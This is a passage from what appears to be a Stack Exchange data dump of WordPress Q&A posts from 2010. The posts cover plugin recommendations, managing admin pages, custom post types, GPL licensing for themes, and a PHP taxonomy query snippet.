is still remaining as an attachment even though I've removed it. Seems buggy to me but maybe I'm doing something wrong there too?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-16T20:48:16.707" CommunityOwnedDate="2010-08-16T20:48:16.707" />
  <row Id="408" PostTypeId="2" ParentId="395" CreationDate="2010-08-16T20:49:45.143" Score="1" ViewCount="" Body="&lt;p&gt;Although these examples may not be surprising to long-time WordPress users, new users may find them interesting, so I figured I'd list them. I sometimes use such examples with clients who are unsure of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ecommerce Sites&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.teesey.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.teesey.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://threeminuteegg.com/&quot; rel=&quot;nofollow&quot;&gt;https://threeminuteegg.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wallsticker.ro/&quot; rel=&quot;nofollow&quot;&gt;http://wallsticker.ro/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(I pulled these particular examples from the &lt;a href=&quot;http://shopplugin.net/&quot; rel=&quot;nofollow&quot;&gt;Shopp&lt;/a&gt; plugin. There's also the &lt;a href=&quot;http://www.instinct.co.nz/e-commerce/&quot; rel=&quot;nofollow&quot;&gt;WP e-Commerce&lt;/a&gt; plugin, for those who are interested.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Social Networking Sites&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pro.gigaom.com/&quot; rel=&quot;nofollow&quot;&gt;http://pro.gigaom.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tdi.vw.com/leaderboard/&quot; rel=&quot;nofollow&quot;&gt;http://tdi.vw.com/leaderboard/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thepioneerwoman.com/tasty-kitchen/&quot; rel=&quot;nofollow&quot;&gt;http://thepioneerwoman.com/tasty-kitchen/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(These are powered by &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt;, which sits on top of WordPress. I've also heard of the &lt;a href=&quot;http://blairwilliams.com/mingle-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;Mingle&lt;/a&gt; plugin, which supposedly does something similar, but have never tried it.)&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-16T20:49:45.143" CommunityOwnedDate="2010-08-16T20:49:45.143" />
  <row Id="409" PostTypeId="2" ParentId="261" CreationDate="2010-08-16T20:54:20.437" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.red-sweater.com/marsedit/&quot; rel=&quot;nofollow&quot;&gt;MarsEdit&lt;/a&gt; is pretty much hands-down the best blog client / WordPress tool for Mac. It's a native OSX desktop app, it's not free but I think it's well worth the money for a multi-client blogging tool.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-16T20:54:20.437" CommunityOwnedDate="2010-08-16T20:54:20.437" CommentCount="1" />
  <row Id="410" PostTypeId="2" ParentId="324" CreationDate="2010-08-16T20:55:55.503" Score="0" ViewCount="" Body="&lt;p&gt;I try to keep things simple and separated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run a Ubuntu server with Apache, MySQL, PHP to use exclusively for testing and hosting work-in-progress for review by others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools on my Mac (development machine):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.panic.com/coda&quot; rel=&quot;nofollow&quot;&gt;Coda&lt;/a&gt; for editing files&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.panic.com/transmit&quot; rel=&quot;nofollow&quot;&gt;Transmit&lt;/a&gt; for FTP - I can mount the server's www directory right on my desktop!&lt;/li&gt;&#xA;&lt;li&gt;Terminal for SSH to the server&#xA;...and &lt;a href=&quot;http://www.google.com&quot; rel=&quot;nofollow&quot;&gt;Google&lt;/a&gt; for help!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="185" LastActivityDate="2010-08-16T20:55:55.503" CommunityOwnedDate="2010-08-16T20:55:55.503" />
  <row Id="411" PostTypeId="1" AcceptedAnswerId="429" CreationDate="2010-08-16T20:58:34.000" Score="1" ViewCount="400" Body="&lt;p&gt;I'm working on a site for a local homeschool group, and they'd like to have a page(s) with a member directory on the site.  Any suggestions?  Something like the &lt;a href=&quot;http://wordpress.org/extend/plugins/business-directory/&quot; rel=&quot;nofollow&quot;&gt;Business Directory&lt;/a&gt; plugin would probably be great, just more focused on listing individuals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I actually want a plugin that lets me create listings manually, as opposed to using the existing user/member list in WordPress.  That will work better in this case.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-16T21:43:52.820" LastActivityDate="2010-08-16T23:46:20.853" Title="What is a good member directory plugin?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="412" PostTypeId="2" ParentId="192" CreationDate="2010-08-16T21:01:47.893" Score="0" ViewCount="" Body="&lt;p&gt;Maybe you should try &lt;a href=&quot;http://xavisys.com/wordpress-plugins/wordpress-twitter-widget/&quot; rel=&quot;nofollow&quot;&gt;Twitter Widget Pro&lt;/a&gt; as a &quot;proper&quot; standalone Twitter widget and find similar dedicated widgets for RSS and FriendFeed? Doing it like that will probably yield widgets of higher quality if you can stand the extra clutter.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2010-08-16T21:01:47.893" CommentCount="1" />
  <row Id="413" PostTypeId="2" ParentId="273" CreationDate="2010-08-16T21:03:45.173" Score="0" ViewCount="" Body="&lt;p&gt;I'm using Magic Fields with WP3 with no problems so far. It's a lot cleaner than Flutter, they have removed a few features such as the edit in place code but I never used that anyway. Overall it just feels a lot better than Flutter due to having had a good clearout in the codebase. It works much like Flutter in regard to setting up write panels etc.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-16T21:03:45.173" />
  <row Id="414" PostTypeId="2" ParentId="373" CreationDate="2010-08-16T21:09:04.707" Score="3" ViewCount="" Body="&lt;p&gt;If you really want a book, I would recommend the Visual QuickStart series, especially if you learn best from seeing illustrations and doing examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you mentioned you're explicitly looking to build these skills to help you with your WordPress blog, I would start with the book &lt;a href=&quot;http://www.peachpit.com/store/product.aspx?isbn=0321679210&quot; rel=&quot;nofollow&quot;&gt;WordPress: Visual QuickStart Guide&lt;/a&gt; from Peachpit. (You may be able to find a cheap used copy on Amazon.com too.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to extra help, you can consider their other books on XHTML, CSS, and PHP, though it's possible you won't need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also, of course, the ever popular Dummies series. &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470592745&quot; rel=&quot;nofollow&quot;&gt;WordPress for Dummies&lt;/a&gt; seems to be fairly nice.&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-16T21:09:04.707" CommentCount="3" />
  <row Id="415" PostTypeId="2" ParentId="411" CreationDate="2010-08-16T21:21:55.910" Score="0" ViewCount="" Body="&lt;p&gt;Here is one that will create a member list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members-list/&quot; rel=&quot;nofollow&quot;&gt;Members list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Seems like a lot of admin to keep up to date though - good luck, I have seen a lot of things like this start great but then fall by the wayside.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2010-08-16T21:21:55.910" CommentCount="2" />
  <row Id="416" PostTypeId="2" ParentId="411" CreationDate="2010-08-16T21:23:18.343" Score="0" ViewCount="" Body="&lt;p&gt;If all the people you want to display are already users of the WordPress site, you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-users/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; plugin to display the site's users.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2010-08-16T21:23:18.343" CommentCount="1" />
  <row Id="417" PostTypeId="2" ParentId="128" CreationDate="2010-08-16T21:31:07.930" Score="2" ViewCount="" Body="&lt;p&gt;As mentioned in previous answers, Custom Post Types are definitely worth checking out, especially combined with the &lt;a href=&quot;http://www.wpeasyposttypes.com/&quot; rel=&quot;nofollow&quot;&gt;WP Easy Post Types plugi&lt;/a&gt;n. However, I would still recommend giving the &lt;a href=&quot;http://magicfields.org/&quot; rel=&quot;nofollow&quot;&gt;Magic Fields plugin&lt;/a&gt; a look over as it offers some extra custom field options that can be quite useful. I can see WP Easy Post Types improving and making plugins like Magic Fields unnecessary though, but it's still worth checking it out. One thing to be aware with Magic Fields is that it does store images in a different location than the standard uploads folder which is a bit of a pain and definitely an area where custom post types wins.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-16T21:31:07.930" CommunityOwnedDate="2010-08-16T21:31:07.930" />
  <row Id="418" PostTypeId="2" ParentId="411" CreationDate="2010-08-16T21:38:35.827" Score="0" ViewCount="" Body="&lt;p&gt;Possibly overkill for what you want but perhaps &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt; could be of use? I know of people using it in an eLearning context and it's got a lot to offer.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-16T21:38:35.827" CommentCount="1" />
  <row Id="419" PostTypeId="2" ParentId="239" CreationDate="2010-08-16T21:53:10.783" Score="2" ViewCount="" Body="&lt;p&gt;I know of some sites using &lt;a href=&quot;http://mnogo.truden.com/archives/148.html&quot; rel=&quot;nofollow&quot;&gt;TruBar&lt;/a&gt; successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is OpenID not also an option? I doubt the robots will know how to register for that?&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2010-08-16T21:53:10.783" CommentCount="3" />
  <row Id="420" PostTypeId="1" AcceptedAnswerId="482" CreationDate="2010-08-16T21:57:37.090" Score="7" ViewCount="476" Body="&lt;p&gt;WordPress obviously comes from a blogging background but can be used to serve sites with a lot of Pages. However, where it falls short for me is not in regard to performance but in the Admin area's handling of lots of Pages, child pages etc. It quickly becomes a chore to move through the list of Pages trying to find what you're looking for, especially without the ability to drill down into page hierarchies etc. What techniques / plugins do people use to deal with this issue?&lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-11-07T16:14:55.397" LastActivityDate="2010-11-07T16:14:55.397" Title="How can we make managing lots of pages in WordPress Admin better?" Tags="&lt;wp-admin&gt;&lt;management&gt;" AnswerCount="5" FavoriteCount="6" />
  <row Id="421" PostTypeId="2" ParentId="420" CreationDate="2010-08-16T22:03:38.777" Score="2" ViewCount="" Body="&lt;p&gt;You can change the &quot;Pages per Screen&quot; option in &quot;Screen Options&quot; (top right corner). If you set that to like 200, then you can use your browsers Find function to quickly jump around (Control / Command + F). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to edit a few pages, I middle-click the edit links to open them in new tabs, that way I can keep my &quot;directory&quot; of pages open.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-16T22:03:38.777" CommentCount="1" />
  <row Id="422" PostTypeId="2" ParentId="317" CreationDate="2010-08-16T22:04:02.180" Score="1" ViewCount="" Body="&lt;p&gt;If you don't want to use &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Multisite&lt;/a&gt;, yet still want to have multiple blogs with a common backend, another idea is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Customize your theme's &lt;a href=&quot;http://codex.wordpress.org/Author_Templates&quot; rel=&quot;nofollow&quot;&gt;Author Templates&lt;/a&gt; so each author's &quot;blog homepage&quot; has a distinct design&lt;/li&gt;&#xA;&lt;li&gt;Create several different stylesheets, one per author. Use some conditional logic to display the appropriate stylesheet when viewing an individual blog post, so that the post matches that author's homepage design.&lt;/li&gt;&#xA;&lt;li&gt;Create several different &lt;a href=&quot;http://www.quickonlinetips.com/archives/2007/11/how-to-create-multiple-dynamic-sidebars-for-wordpress-widgets/&quot; rel=&quot;nofollow&quot;&gt;sidebars&lt;/a&gt;, one per author. This will allow you to have different widgets per author. You'll need conditional logic to know which sidebar to display too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course, this would require quite a bit of tweaking too. Multisite might be less work.&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-16T22:04:02.180" />
  <row Id="423" PostTypeId="1" AcceptedAnswerId="450" CreationDate="2010-08-16T22:10:35.880" Score="3" ViewCount="133" Body="&lt;p&gt;I wanted to create a WP plugin. So I requested and my request was approved by Wordpress.org But I don't want to develop that plugin anymore. How can I delete the repository forever or request its deletion.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-17T14:10:51.447" Title="Delete Wordpress plugin Repository" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="424" PostTypeId="2" ParentId="370" CreationDate="2010-08-16T22:16:05.453" Score="0" ViewCount="" Body="&lt;p&gt;I know of no such plugin either. Other than creating your own (which I'm guessing you want to avoid), you could consider this hack:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get the RSS feed for each Flickr group&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://pipes.yahoo.com/pipes/&quot; rel=&quot;nofollow&quot;&gt;Yahoo! Pipes&lt;/a&gt; to aggregate &amp;amp; randomize those RSS feeds&lt;/li&gt;&#xA;&lt;li&gt;Plug the RSS output into any one of those Flickr plugins you've seen&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Yahoo! Pipes takes a bit of playing around, but once you have it, it works wonderfully. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-16T22:16:05.453" CommentCount="1" />
  <row Id="425" PostTypeId="2" ParentId="346" CreationDate="2010-08-16T22:20:03.750" Score="1" ViewCount="" Body="&lt;p&gt;I thought I would provide another answer as the above one is a little hacky, also I added another layer that gets all taxonomies for a post_type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_type = 'post';&#xA;&#xA;// Get all the taxonomies for this post type&#xA;$taxonomies = get_object_taxonomies( (object) array( 'post_type' =&amp;gt; $post_type ) );&#xA;&#xA;foreach( $taxonomies as $taxonomy ) : &#xA;&#xA;    // Gets every &quot;category&quot; (term) in this taxonomy to get the respective posts&#xA;    $terms = get_terms( $taxonomy-&amp;gt;name );&#xA;&#xA;    foreach( $terms as $term ) : &#xA;&#xA;        $posts = new WP_Query( &quot;taxonomy=$taxonomy&amp;amp;term=$term-&amp;gt;slug&amp;amp;posts_per_page=2&quot; );&#xA;&#xA;        if( $posts-&amp;gt;have_posts() : while( $posts-&amp;gt;have_posts() ) : $posts-&amp;gt;the_post();&#xA;            //Do you general query loop here  &#xA;        endwhile; endif;&#xA;&#xA;    endforeach;&#xA;&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be recommended to add each post found to a &lt;code&gt;$post__not_in&lt;/code&gt; array, so you could pass that to the &lt;code&gt;WP_Query&lt;/code&gt; to prevent duplicate posts coming through.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-16T22:20:03.750" />
  <row Id="426" PostTypeId="2" ParentId="420" CreationDate="2010-08-16T22:33:26.300" Score="0" ViewCount="" Body="&lt;p&gt;Great question. I don't have a solid answer and would love to hear what others have done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bit of an aside, here are a few plugins I've seen that can customize WordPress' Admin UI. Note: I haven't tried any of these myself and don't know how they would fare on WP 3.0.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/admin-management-xtended/&quot; rel=&quot;nofollow&quot;&gt;Admin Management Xtended&lt;/a&gt; - looks nice, tho their demo video uses an older version of WP&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planetozh.com/blog/my-projects/wordpress-admin-menu-drop-down-css/&quot; rel=&quot;nofollow&quot;&gt;WordPress Admin Drop Down Menu&lt;/a&gt; - for a handy dropdown menu&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-dashboard-editor/&quot; rel=&quot;nofollow&quot;&gt;Dashboard Editor&lt;/a&gt; - this one might be outdated now&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Aside from these possibly outdated plugins, you can also customize the Admin using an &lt;a href=&quot;http://codex.wordpress.org/Creating_Admin_Themes&quot; rel=&quot;nofollow&quot;&gt;Admin Theme&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a CSS whiz could whip up something that makes page management easier, such as making the category selector more prominent or something.&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-16T22:33:26.300" />
  <row Id="427" PostTypeId="2" ParentId="420" CreationDate="2010-08-16T23:32:08.527" Score="11" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Rick&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, the admin doesn't work extremely well for a site with tons of &lt;a href=&quot;http://en.support.wordpress.com/post-vs-page/&quot; rel=&quot;nofollow&quot;&gt;Pages vs. Posts&lt;/a&gt;. As you mention most WordPress sites have been blogs and who needs to edit older blog posts frequently? Having the most recent available is all most bloggers usually need and since most blogs have probably 5 pages or less it's been a non-issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I agree, it's definitely needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three things that come to mind, without an admin overhaul would be the following two of which would require some coding:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Consider Using Custom Post Types?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Add Filtering Functionality to the List&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Add an Expand/Collapse Functionality for Parent Pages&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Finding Good Existing Plugins&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Consider Using Custom Post Types?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Often with I've seen a site with &lt;em&gt;lots&lt;/em&gt; of Pages it turns out there could be real benefit to breaking them out as &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;Custom Post Types&lt;/a&gt;. Often it's because when the site was built Custom Post Types didn't exist in WordPress to even consider. You know, if the only tool you have is a hammer... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I think it's because they are still new that it doesn't occur to most people they are an option. Still my guess is if you looked at your content you'd identify patterns where Pages could be converted to one of more Custom Post Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you some inspiration here's a screen shot for two different Custom Post Types both with lots of customization I'm working on:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100816-190625.png&quot; alt=&quot;Example Custom Post Type #1&quot;&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100816-191840.png&quot; alt=&quot;Example Custom Post Type #2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;To Change Post Types for Existing Pages&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Since you already have lots of Pages you may need to change your existing post types to the new custom post Type. One way you do this would be to tag the appropriate Pages with a special tag of your choosing and then write a PHP script or a SQL query to change post types for Pages with the tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately you could write a custom metabox that allows you to change the type and/or you could modify the list of Pages to offer a type changing feature.  If this part is of specific interest add a custom that specifically asks how to do one of these things.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Add Filtering Functionality to the List&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to add more filtering options to the list. You could filter by categories, by tags and/or by meta values.  Here's &lt;a href=&quot;http://wordpress.stackexchange.com/questions/45/how-to-sort-the-admin-area-of-a-wordpress-custom-post-type-by-a-custom-field&quot;&gt;my answer&lt;/a&gt; to a question where I showed how to write the code to sort on meta values; filtering is similar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/45/how-to-sort-the-admin-area-of-a-wordpress-custom-post-type-by-a-custom-field&quot;&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100811-210929.png&quot; alt=&quot;Custom Post List Sorting in the WordPress Admin&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more specifics on how exactly to do this for your specific need please ask another more specific question? &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Add an Expand/Collapse Functionality for Parent Pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A third approach might be to provide an expand/collapse functionality using jQuery and maybe even AJAX to allow you to see only the top level pages and then drill down to the relevant sub pages. (unfortunately I couldn't find a good screen shot for this.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would also take some programming and if you are interested please ask another more specific question on the topic?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Finding Good Existing Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While I haven't had experience with any of these here are some blog posts on the topic so maybe you'll be able to find what you need among these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mashable.com/2008/09/23/page-management-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;8 WordPress Plugins for Page Management&lt;/a&gt; (mashable.com)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.customweb2.com/blog/wordpress-plugins-for-page-management.html&quot; rel=&quot;nofollow&quot;&gt;WordPress Plugins for Page Management&lt;/a&gt; (customweb2.com)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.justskins.com/design/wordpress-plugins-for-page-management/540&quot; rel=&quot;nofollow&quot;&gt;WordPress plugins For Page Management&lt;/a&gt; (justskins.com)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps?&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-17T17:44:00.820" LastActivityDate="2010-08-17T17:44:00.820" CommentCount="11" />
  <row Id="428" PostTypeId="2" ParentId="423" CreationDate="2010-08-16T23:43:27.723" Score="1" ViewCount="" Body="&lt;p&gt;From what I've heard, you can't really remove it from the repository.  Besides that, you really shouldn't.  Someone somewhere might still be using the code and might need the repository for reference.  Or it might be a good educational tool later on down the road.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to stop supporting it (i.e. &lt;strong&gt;abandon&lt;/strong&gt; the plug-in), there is something you can do ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upload a new readme file to the repository explaining that you're no longer developing or supporting the plug-in.  Make the message large and the first thing people will see in the readme.  Also make sure you put a reference in the description of the plug-in's core PHP file explaining that there will be no future versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, in the future, another developer wants to take over you can always assign them as the owner of the repository.  Otherwise, it will just sit there in the archives with its &quot;This plug-in is no longer supported or being actively developed!&quot; message to warn people away.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-16T23:43:27.723" CommentCount="4" />
  <row Id="429" PostTypeId="2" ParentId="411" CreationDate="2010-08-16T23:46:20.853" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@tnorthcutt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hey, based on your requirements I'd suggest you consider just using &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;Custom Post Types with custom fields&lt;/strong&gt;&lt;/a&gt; and defining your own layout. That way you won't be painted in to the limitations of a plugin that doesn't meet you needs exactly, and it sounds like Custom Post Types will fit your requirement pretty much spot on. Here's &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;another answer&lt;/strong&gt;&lt;/a&gt; I previously wrote that give that discusses Custom Post Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition I'll point you to a 2nd answer I wrote where I described &lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/can-crunchbase-com-be-done-with-wordpress/386#386&quot;&gt;&lt;strong&gt;How to Recreate CrunchBase in WordPress using Custom Post Types&lt;/strong&gt;&lt;/a&gt;. After all, there is really very little technical implementation difference between creating a directory of companies and a directory of people, right?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-16T23:46:20.853" />
  <row Id="430" PostTypeId="2" ParentId="395" CreationDate="2010-08-16T23:59:43.510" Score="3" ViewCount="" Body="&lt;p&gt;Have you taken a look at &lt;a href=&quot;http://wordpress.org/showcase/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/showcase/&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;strong&gt;ton&lt;/strong&gt; of &quot;that's WordPress?!&quot; sites there.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-16T23:59:43.510" CommunityOwnedDate="2010-08-16T23:59:43.510" />
  <row Id="431" PostTypeId="2" ParentId="395" CreationDate="2010-08-17T04:21:36.543" Score="0" ViewCount="" Body="&lt;p&gt;Here's one from a local record company (Portland, OR).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://saphurecords.com/wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://saphurecords.com/wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2010-08-17T04:21:36.543" CommunityOwnedDate="2010-08-17T04:21:36.543" />
  <row Id="432" PostTypeId="2" ParentId="299" CreationDate="2010-08-17T04:27:13.430" Score="0" ViewCount="" Body="&lt;p&gt;My challenge was being brand new to writing a blog and new to WordPress. I had NextGen Gallery working in half an afternoon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may very well want something highly customized later on, but NextGen does a perfect job for my current needs.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2010-08-17T04:27:13.430" CommunityOwnedDate="2010-08-17T04:27:13.430" />
  <row Id="433" PostTypeId="2" ParentId="377" CreationDate="2010-08-17T05:33:32.490" Score="2" ViewCount="" Body="&lt;p&gt;GPL states that if your code needs the original core to run then it has to follow the same license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you divide your code in two parts, one which performs the &lt;strong&gt;core functionality&lt;/strong&gt; (and which ideally can be used with any framework, sort of like a library), and the second which &lt;strong&gt;interacts with wordpress&lt;/strong&gt; and your library, you can use which ever license you like for your library. Only the part with wordpress has to follow the same license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great example is that Google Reader uses the feed (which is an API), but since it is a separate binary, it can use any license.&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2010-08-17T05:33:32.490" />
  <row Id="435" PostTypeId="2" ParentId="5" CreationDate="2010-08-17T09:26:15.783" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/news/2009/07/themes-are-gpl-too/&quot; rel=&quot;nofollow&quot;&gt;One sentence summary from Matt Mullenweg&lt;/a&gt; : PHP in WordPress themes must be GPL, artwork and CSS may be but are not required.&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2010-08-17T09:26:15.783" CommentCount="2" />
  <row Id="436" PostTypeId="1" AcceptedAnswerId="439" CreationDate="2010-08-17T10:09:58.257" Score="10" ViewCount="1230" Body="&lt;p&gt;Is there way to have multiple WYSIWYG editors for a custom post type?   For example, if I had a 2 column layout I wanted to have one editor for one column and another editor for the other.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T23:01:28.617" LastActivityDate="2011-05-29T16:18:04.263" Title="Is there a way to get N number of WYSIWYG editors in a custom post type?" Tags="&lt;custom-post-types&gt;&lt;wysiwyg&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="12" />
